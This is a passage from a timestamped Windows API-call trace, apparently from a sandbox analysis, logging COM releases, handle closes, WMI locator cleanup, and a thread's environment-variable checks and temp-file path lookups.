pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x61015c8) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x6101760) returned 0x1 [0067.675] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.675] IUnknown:Release (This=0x61018f8) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6101a90) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6101c28) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6101dc0) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6101f58) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x61020f0) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6102288) returned 0x1 [0067.676] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.676] IUnknown:Release (This=0x6102420) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x61025b8) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x6102750) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x61028e8) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x6102a80) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x6102c18) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.677] IUnknown:Release (This=0x6102db0) returned 0x1 [0067.677] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x6102f48) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x61030e0) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x6103278) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x6103410) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x6103f98) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x6104130) returned 0x1 [0067.678] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.678] IUnknown:Release (This=0x61042c8) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104460) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x61045f8) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104790) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104928) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104ac0) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104c58) returned 0x1 [0067.679] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.679] IUnknown:Release (This=0x6104df0) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x6104f88) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x6105120) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x61052b8) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x6105450) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x61055e8) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.680] IUnknown:Release (This=0x6105780) returned 0x1 [0067.680] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6105918) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6105ab0) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6105c48) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6105de0) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x61069d8) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6106b70) returned 0x1 [0067.681] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.681] IUnknown:Release (This=0x6106d08) returned 0x1 [0067.682] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.682] IUnknown:Release (This=0x6106ea0) returned 0x1 [0067.682] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.682] IUnknown:Release (This=0x6107038) returned 0x1 [0067.682] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.682] IUnknown:Release (This=0x61071d0) returned 0x1 [0067.682] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.682] IUnknown:Release (This=0x6107368) returned 0x1 [0067.682] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0067.682] IUnknown:Release (This=0x6107500) returned 0x1 [0067.683] CoGetContextToken (in: pToken=0x4b0f534 | out: pToken=0x4b0f534) returned 0x0 [0067.683] WbemLocator:IUnknown:Release (This=0x425c3c) returned 0x1 [0067.683] IUnknown:Release (This=0x60fd50c) returned 0x0 [0067.702] CloseHandle (hObject=0x6b) returned 1 [0067.702] GetLastError () returned 0x0 [0067.702] CloseHandle (hObject=0x63) returned 1 [0067.703] GetLastError () returned 0x0 [0067.703] CloseHandle (hObject=0x5f) returned 1 [0067.703] GetLastError () returned 0x0 [0067.703] CloseHandle (hObject=0x5b) returned 1 [0067.703] GetLastError () returned 0x0 [0067.703] CloseHandle (hObject=0x57) returned 1 [0067.704] GetLastError () returned 0x0 [0067.704] CloseHandle (hObject=0x67) returned 1 [0067.704] GetLastError () returned 0x0 [0067.704] CloseHandle (hObject=0x77) returned 1 [0067.704] GetLastError () returned 0x0 [0067.705] CloseHandle (hObject=0x43) returned 1 [0067.705] GetLastError () returned 0x0 [0067.705] CloseHandle (hObject=0x3f) returned 1 [0067.705] GetLastError () returned 0x0 [0067.705] CloseHandle (hObject=0x3b) returned 1 [0067.706] GetLastError () returned 0x0 [0067.706] CloseHandle (hObject=0x37) returned 1 [0067.706] GetLastError () returned 0x0 [0067.706] CloseHandle (hObject=0x83) returned 1 [0067.706] GetLastError () returned 0x0 [0067.706] CloseHandle (hObject=0x53) returned 1 [0067.707] GetLastError () returned 0x0 [0067.707] CloseHandle (hObject=0x33) returned 1 [0067.707] GetLastError () returned 0x0 [0067.707] CloseHandle (hObject=0x2f) returned 1 [0067.707] GetLastError () returned 0x0 [0067.708] CloseHandle (hObject=0x2b) returned 1 [0067.708] GetLastError () returned 0x0 [0067.708] CloseHandle (hObject=0x27) returned 1 [0067.708] GetLastError () returned 0x0 [0067.708] CloseHandle (hObject=0x23) returned 1 [0067.709] GetLastError () returned 0x0 [0067.709] CloseHandle (hObject=0x1f) returned 1 [0067.709] GetLastError () returned 0x0 [0067.709] CloseHandle (hObject=0x1b) returned 1 [0067.709] GetLastError () returned 0x0 [0067.710] CloseHandle (hObject=0x4f) returned 1 [0067.710] GetLastError () returned 0x0 [0067.710] CloseHandle (hObject=0x17) returned 1 [0067.710] GetLastError () returned 0x0 [0067.710] CloseHandle (hObject=0x13) returned 1 [0067.711] GetLastError () returned 0x0 [0067.711] CloseHandle (hObject=0xf) returned 1 [0067.711] GetLastError () returned 0x0 [0067.711] CloseHandle (hObject=0x4b) returned 1 [0067.711] GetLastError () returned 0x0 [0067.711] CloseHandle (hObject=0x47) returned 1 [0067.712] GetLastError () returned 0x0 [0067.712] CloseHandle (hObject=0x7f) returned 1 [0067.712] GetLastError () returned 0x0 [0067.712] CloseHandle (hObject=0x7b) returned 1 [0067.713] GetLastError () returned 0x0 [0067.713] CloseHandle (hObject=0x73) returned 1 [0067.713] GetLastError () returned 0x0 [0067.713] CloseHandle (hObject=0x6f) returned 1 [0067.713] GetLastError () returned 0x0 [0068.721] CoGetContextToken (in: pToken=0x4b0f5d8 | out: pToken=0x4b0f5d8) returned 0x0 [0068.721] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0068.721] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x1 [0068.721] WbemDefPath:IUnknown:Release (This=0x60f0820) returned 0x0 [0068.722] CoGetContextToken (in: pToken=0x4b0f568 | out: pToken=0x4b0f568) returned 0x0 [0068.722] WbemLocator:IUnknown:Release (This=0x42360c) returned 0x1 [0068.722] WbemLocator:IUnknown:Release (This=0x60fd3c4) returned 0x0 [0068.756] CloseHandle (hObject=0x17) returned 1 [0068.756] GetLastError () returned 0x0 [0068.756] CloseHandle (hObject=0x13) returned 1 [0068.756] GetLastError () returned 0x0 [0068.756] CloseHandle (hObject=0xf) returned 1 [0068.757] GetLastError () returned 0x0 [0068.757] CloseHandle (hObject=0x133) returned 1 [0068.757] GetLastError () returned 0x0 [0068.757] CloseHandle (hObject=0x12f) returned 1 [0068.758] GetLastError () returned 0x0 [0068.758] CloseHandle (hObject=0xfb) returned 1 [0068.758] GetLastError () returned 0x0 [0068.758] CloseHandle (hObject=0xf7) returned 1 [0068.758] GetLastError () returned 0x0 [0068.759] CloseHandle (hObject=0x5b) returned 1 [0068.759] GetLastError () returned 0x0 [0068.759] CloseHandle (hObject=0x57) returned 1 [0068.759] GetLastError () returned 0x0 [0068.759] CloseHandle (hObject=0x53) returned 1 [0068.760] GetLastError () returned 0x0 [0068.760] CloseHandle (hObject=0x4f) returned 1 [0068.760] GetLastError () returned 0x0 [0068.760] CloseHandle (hObject=0xf3) returned 1 [0068.761] GetLastError () returned 0x0 [0068.761] CloseHandle (hObject=0xef) returned 1 [0068.761] GetLastError () returned 0x0 [0068.761] CloseHandle (hObject=0xbb) returned 1 [0068.761] GetLastError () returned 0x0 [0068.761] CloseHandle (hObject=0xb7) returned 1 [0068.762] GetLastError () returned 0x0 [0068.762] CloseHandle (hObject=0xb3) returned 1 [0068.762] GetLastError () returned 0x0 [0068.762] CloseHandle (hObject=0xaf) returned 1 [0068.763] GetLastError () returned 0x0 [0068.763] CloseHandle (hObject=0x13f) returned 1 [0068.763] GetLastError () returned 0x0 [0068.763] CloseHandle (hObject=0x8b) returned 1 [0068.763] GetLastError () returned 0x0 [0068.764] CloseHandle (hObject=0x87) returned 1 [0068.764] GetLastError () returned 0x0 [0068.764] CloseHandle (hObject=0x83) returned 1 [0068.764] GetLastError () returned 0x0 [0068.764] CloseHandle (hObject=0x7f) returned 1 [0068.765] GetLastError () returned 0x0 [0068.765] CloseHandle (hObject=0x14f) returned 1 [0068.765] GetLastError () returned 0x0 [0068.765] CloseHandle (hObject=0xdb) returned 1 [0068.765] GetLastError () returned 0x0 [0068.766] CloseHandle (hObject=0xd7) returned 1 [0068.766] GetLastError () returned 0x0 [0068.766] CloseHandle (hObject=0xd3) returned 1 [0068.766] GetLastError () returned 0x0 [0068.766] CloseHandle (hObject=0x4b) returned 1 [0068.767] GetLastError () returned 0x0 [0068.767] CloseHandle (hObject=0x47) returned 1 [0068.767] GetLastError () returned 0x0 [0068.767] CloseHandle (hObject=0x43) returned 1 [0068.768] GetLastError () returned 0x0 [0068.768] CloseHandle (hObject=0x3f) returned 1 [0068.768] GetLastError () returned 0x0 [0068.768] CloseHandle (hObject=0xcf) returned 1 [0068.768] GetLastError () returned 0x0 [0068.768] CloseHandle (hObject=0x15b) returned 1 [0068.769] GetLastError () returned 0x0 [0068.769] CloseHandle (hObject=0x12b) returned 1 [0068.769] GetLastError () returned 0x0 [0068.769] CloseHandle (hObject=0x127) returned 1 [0068.770] GetLastError () returned 0x0 [0068.770] CloseHandle (hObject=0x10b) returned 1 [0068.770] GetLastError () returned 0x0 [0068.770] CloseHandle (hObject=0x107) returned 1 [0068.770] GetLastError () returned 0x0 [0068.771] CloseHandle (hObject=0x103) returned 1 [0068.771] GetLastError () returned 0x0 [0068.771] CloseHandle (hObject=0xff) returned 1 [0068.771] GetLastError () returned 0x0 [0068.771] CloseHandle (hObject=0x123) returned 1 [0068.772] GetLastError () returned 0x0 [0068.772] CloseHandle (hObject=0x11b) returned 1 [0068.772] GetLastError () returned 0x0 [0068.772] CloseHandle (hObject=0xab) returned 1 [0068.773] GetLastError () returned 0x0 [0068.773] CloseHandle (hObject=0x7b) returned 1 [0068.773] GetLastError () returned 0x0 [0068.773] CloseHandle (hObject=0x77) returned 1 [0068.773] GetLastError () returned 0x0 [0068.773] CloseHandle (hObject=0x73) returned 1 [0068.774] GetLastError () returned 0x0 [0068.774] CloseHandle (hObject=0x6f) returned 1 [0068.774] GetLastError () returned 0x0 [0068.774] CloseHandle (hObject=0x3b) returned 1 [0068.775] GetLastError () returned 0x0 [0068.775] CloseHandle (hObject=0x37) returned 1 [0068.775] GetLastError () returned 0x0 [0068.775] CloseHandle (hObject=0x33) returned 1 [0068.775] GetLastError () returned 0x0 [0068.776] CloseHandle (hObject=0x2f) returned 1 [0068.776] GetLastError () returned 0x0 [0068.776] CloseHandle (hObject=0xa7) returned 1 [0068.776] GetLastError () returned 0x0 [0068.776] CloseHandle (hObject=0xa3) returned 1 [0068.777] GetLastError () returned 0x0 [0068.777] CloseHandle (hObject=0x9f) returned 1 [0068.777] GetLastError () returned 0x0 [0068.777] CloseHandle (hObject=0x117) returned 1 [0068.777] GetLastError () returned 0x0 [0068.778] CloseHandle (hObject=0x113) returned 1 [0068.778] GetLastError () returned 0x0 [0068.778] CloseHandle (hObject=0x10f) returned 1 [0068.778] GetLastError () returned 0x0 [0068.778] CloseHandle (hObject=0x11f) returned 1 [0068.779] GetLastError () returned 0x0 [0068.779] CloseHandle (hObject=0xeb) returned 1 [0068.779] GetLastError () returned 0x0 [0068.779] CloseHandle (hObject=0xe7) returned 1 [0068.780] GetLastError () returned 0x0 [0068.780] CloseHandle (hObject=0xcb) returned 1 [0068.780] GetLastError () returned 0x0 [0068.780] CloseHandle (hObject=0xc7) returned 1 [0068.780] GetLastError () returned 0x0 [0068.780] CloseHandle (hObject=0xc3) returned 1 [0068.781] GetLastError () returned 0x0 [0068.781] CloseHandle (hObject=0xbf) returned 1 [0068.781] GetLastError () returned 0x0 [0068.781] CloseHandle (hObject=0xe3) returned 1 [0068.782] GetLastError () returned 0x0 [0068.782] CloseHandle (hObject=0xdf) returned 1 [0068.782] GetLastError () returned 0x0 [0068.782] CloseHandle (hObject=0x2b) returned 1 [0068.782] GetLastError () returned 0x0 [0068.783] CloseHandle (hObject=0x27) returned 1 [0068.783] GetLastError () returned 0x0 [0068.783] CloseHandle (hObject=0x23) returned 1 [0068.783] GetLastError () returned 0x0 [0068.783] CloseHandle (hObject=0x1f) returned 1 [0068.784] GetLastError () returned 0x0 [0068.784] CloseHandle (hObject=0x6b) returned 1 [0068.784] GetLastError () returned 0x0 [0068.784] CloseHandle (hObject=0x67) returned 1 [0068.784] GetLastError () returned 0x0 [0068.785] CloseHandle (hObject=0x63) returned 1 [0068.785] GetLastError () returned 0x0 [0068.785] CloseHandle (hObject=0x5f) returned 1 [0068.785] GetLastError () returned 0x0 [0068.785] CloseHandle (hObject=0x157) returned 1 [0068.786] GetLastError () returned 0x0 [0068.786] CloseHandle (hObject=0x153) returned 1 [0068.786] GetLastError () returned 0x0 [0068.786] CloseHandle (hObject=0x14b) returned 1 [0068.787] GetLastError () returned 0x0 [0068.787] CloseHandle (hObject=0x9b) returned 1 [0068.787] GetLastError () returned 0x0 [0068.787] CloseHandle (hObject=0x97) returned 1 [0068.787] GetLastError () returned 0x0 [0068.787] CloseHandle (hObject=0x93) returned 1 [0068.788] GetLastError () returned 0x0 [0068.788] CloseHandle (hObject=0x8f) returned 1 [0068.788] GetLastError () returned 0x0 [0068.788] CloseHandle (hObject=0x147) returned 1 [0068.789] GetLastError () returned 0x0 [0068.789] CloseHandle (hObject=0x143) returned 1 [0068.789] GetLastError () returned 0x0 [0068.789] CloseHandle (hObject=0x13b) returned 1 [0068.789] GetLastError () returned 0x0 [0068.790] CloseHandle (hObject=0x137) returned 1 [0068.790] GetLastError () returned 0x0 [0068.790] CloseHandle (hObject=0x1b) returned 1 [0068.790] GetLastError () returned 0x0 [0069.466] CloseHandle (hObject=0x77) returned 1 [0069.473] GetLastError () returned 0x0 [0069.473] CloseHandle (hObject=0x15f) returned 1 [0069.474] GetLastError () returned 0x0 [0069.474] CloseHandle (hObject=0x37) returned 1 [0069.479] GetLastError () returned 0x0 [0069.479] CloseHandle (hObject=0x163) returned 1 [0069.479] GetLastError () returned 0x0 [0069.479] CloseHandle (hObject=0x33) returned 1 [0069.484] GetLastError () returned 0x0 [0069.484] CloseHandle (hObject=0x167) returned 1 [0069.484] GetLastError () returned 0x0 [0069.485] CloseHandle (hObject=0x2f) returned 1 [0069.489] GetLastError () returned 0x0 [0069.489] CloseHandle (hObject=0x16b) returned 1 [0069.490] GetLastError () returned 0x0 [0069.490] CloseHandle (hObject=0xa7) returned 1 [0069.494] GetLastError () returned 0x0 [0069.494] CloseHandle (hObject=0x3b) returned 1 [0069.495] GetLastError () returned 0x0 [0069.495] CloseHandle (hObject=0xa3) returned 1 [0069.495] GetLastError () returned 0x0 [0069.495] CloseHandle (hObject=0x9f) returned 1 [0069.496] GetLastError () returned 0x0 [0069.496] CloseHandle (hObject=0xaf) returned 1 [0069.501] GetLastError () returned 0x0 [0069.501] CloseHandle (hObject=0xab) returned 1 [0069.501] GetLastError () returned 0x0 [0069.502] CloseHandle (hObject=0x7b) returned 1 [0069.502] GetLastError () returned 0x0 [0069.502] CloseHandle (hObject=0x5b) returned 1 [0069.503] GetLastError () returned 0x0 [0069.503] CloseHandle (hObject=0x57) returned 1 [0069.507] GetLastError () returned 0x0 [0069.507] CloseHandle (hObject=0xb3) returned 1 [0069.508] GetLastError () returned 0x0 [0069.508] CloseHandle (hObject=0x53) returned 1 [0069.508] GetLastError () returned 0x0 [0069.509] CloseHandle (hObject=0x4f) returned 1 [0069.509] GetLastError () returned 0x0 [0069.509] CloseHandle (hObject=0x73) returned 1 [0069.514] GetLastError () returned 0x0 [0069.514] CloseHandle (hObject=0x8f) returned 1 [0069.514] GetLastError () returned 0x0 [0069.514] CloseHandle (hObject=0x6f) returned 1 [0069.515] GetLastError () returned 0x0 [0069.515] CloseHandle (hObject=0xe7) returned 1 [0069.515] GetLastError () returned 0x0 [0069.515] CloseHandle (hObject=0xe3) returned 1 [0069.515] GetLastError () returned 0x0 [0069.516] CloseHandle (hObject=0xdb) returned 1 [0069.516] GetLastError () returned 0x0 [0069.516] CloseHandle (hObject=0x2b) returned 1 [0069.516] GetLastError () returned 0x0 [0069.516] CloseHandle (hObject=0x27) returned 1 [0069.517] GetLastError () returned 0x0 [0069.517] CloseHandle (hObject=0x23) returned 1 [0069.517] GetLastError () returned 0x0 [0069.517] CloseHandle (hObject=0x1f) returned 1 [0069.518] GetLastError () returned 0x0 [0069.518] CloseHandle (hObject=0xd7) returned 1 [0069.518] GetLastError () returned 0x0 [0069.518] CloseHandle (hObject=0xd3) returned 1 [0069.518] GetLastError () returned 0x0 [0069.519] CloseHandle (hObject=0xcb) returned 1 [0069.519] GetLastError () returned 0x0 [0069.519] CloseHandle (hObject=0xc7) returned 1 [0069.519] GetLastError () returned 0x0 [0069.519] CloseHandle (hObject=0xc3) returned 1 [0069.520] GetLastError () returned 0x0 [0069.520] CloseHandle (hObject=0xbf) returned 1 [0069.520] GetLastError () returned 0x0 [0069.520] CloseHandle (hObject=0x8b) returned 1 [0069.521] GetLastError () returned 0x0 [0069.521] CloseHandle (hObject=0x87) returned 1 [0069.521] GetLastError () returned 0x0 [0069.521] CloseHandle (hObject=0x83) returned 1 [0069.521] GetLastError () returned 0x0 [0069.521] CloseHandle (hObject=0x7f) returned 1 [0069.522] GetLastError () returned 0x0 [0069.522] CloseHandle (hObject=0x4b) returned 1 [0069.522] GetLastError () returned 0x0 [0069.522] CloseHandle (hObject=0x47) returned 1 [0069.523] GetLastError () returned 0x0 [0069.523] CloseHandle (hObject=0x43) returned 1 [0069.523] GetLastError () returned 0x0 [0069.523] CloseHandle (hObject=0x3f) returned 1 [0069.523] GetLastError () returned 0x0 [0069.524] CloseHandle (hObject=0xcf) returned 1 [0069.524] GetLastError () returned 0x0 [0069.524] CloseHandle (hObject=0x1b) returned 1 [0069.524] GetLastError () returned 0x0 [0069.524] CloseHandle (hObject=0x17) returned 1 [0069.525] GetLastError () returned 0x0 [0069.525] CloseHandle (hObject=0x13) returned 1 [0069.525] GetLastError () returned 0x0 [0069.525] CloseHandle (hObject=0xf) returned 1 [0069.526] GetLastError () returned 0x0 [0069.526] CloseHandle (hObject=0xdf) returned 1 [0069.526] GetLastError () returned 0x0 [0069.526] CloseHandle (hObject=0x6b) returned 1 [0069.526] GetLastError () returned 0x0 [0069.527] CloseHandle (hObject=0x67) returned 1 [0069.527] GetLastError () returned 0x0 [0069.527] CloseHandle (hObject=0x63) returned 1 [0069.527] GetLastError () returned 0x0 [0069.527] CloseHandle (hObject=0x5f) returned 1 [0069.528] GetLastError () returned 0x0 [0069.528] CloseHandle (hObject=0xeb) returned 1 [0069.528] GetLastError () returned 0x0 [0069.528] CloseHandle (hObject=0xbb) returned 1 [0069.529] GetLastError () returned 0x0 [0069.529] CloseHandle (hObject=0xb7) returned 1 [0069.529] GetLastError () returned 0x0 [0069.529] CloseHandle (hObject=0x9b) returned 1 [0069.529] GetLastError () returned 0x0 [0069.529] CloseHandle (hObject=0x97) returned 1 [0069.530] GetLastError () returned 0x0 [0069.530] CloseHandle (hObject=0x93) returned 1 [0069.530] GetLastError () returned 0x0 Thread: id = 18 os_tid = 0x8ac [0059.506] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0059.513] SetThreadUILanguage (LangId=0x0) returned 0x409 [0059.525] VirtualQuery (in: lpAddress=0x5e8e010, lpBuffer=0x5e8f010, dwLength=0x1c | out: lpBuffer=0x5e8f010*(BaseAddress=0x5e8e000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.530] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.530] GetLastError () returned 0xcb [0059.533] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.533] GetLastError () returned 0xcb [0059.534] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.534] GetLastError () returned 0xcb [0059.549] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.549] GetLastError () returned 0xcb [0059.552] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.552] GetLastError () returned 0xcb [0059.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.554] GetLastError () returned 0xcb [0059.564] VirtualQuery (in: lpAddress=0x5e8e12c, lpBuffer=0x5e8f12c, dwLength=0x1c | out: lpBuffer=0x5e8f12c*(BaseAddress=0x5e8e000, AllocationBase=0x5500000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0059.565] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.565] GetLastError () returned 0xcb [0059.567] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.568] GetLastError () returned 0xcb [0059.568] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.568] GetLastError () returned 0xcb [0059.580] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.580] GetLastError () returned 0xcb [0059.599] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.599] GetLastError () returned 0xcb [0059.645] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.645] GetLastError () returned 0xcb [0059.647] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.647] GetLastError () returned 0xcb [0059.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.648] GetLastError () returned 0xcb [0059.649] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.649] GetLastError () returned 0xcb [0059.650] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.650] GetLastError () returned 0xcb [0059.651] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.651] GetLastError () returned 0xcb [0059.653] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.653] GetLastError () returned 0xcb [0059.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x406e88, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.675] GetLastError () returned 0xcb [0059.822] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x5e8e6f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0059.823] GetLastError () returned 0xcb [0059.823] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp", lpszLongPath=0x5e8e6f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp") returned 0x3e [0059.824] GetLastError () returned 0xcb [0059.824] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp", nBufferLength=0x105, lpBuffer=0x5e8e718, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\~18119777.tmp", lpFilePart=0x0) returned 0x3e [0059.824] GetLastError () returned 0xcb [0059.824] GetLongPathNameW (in: 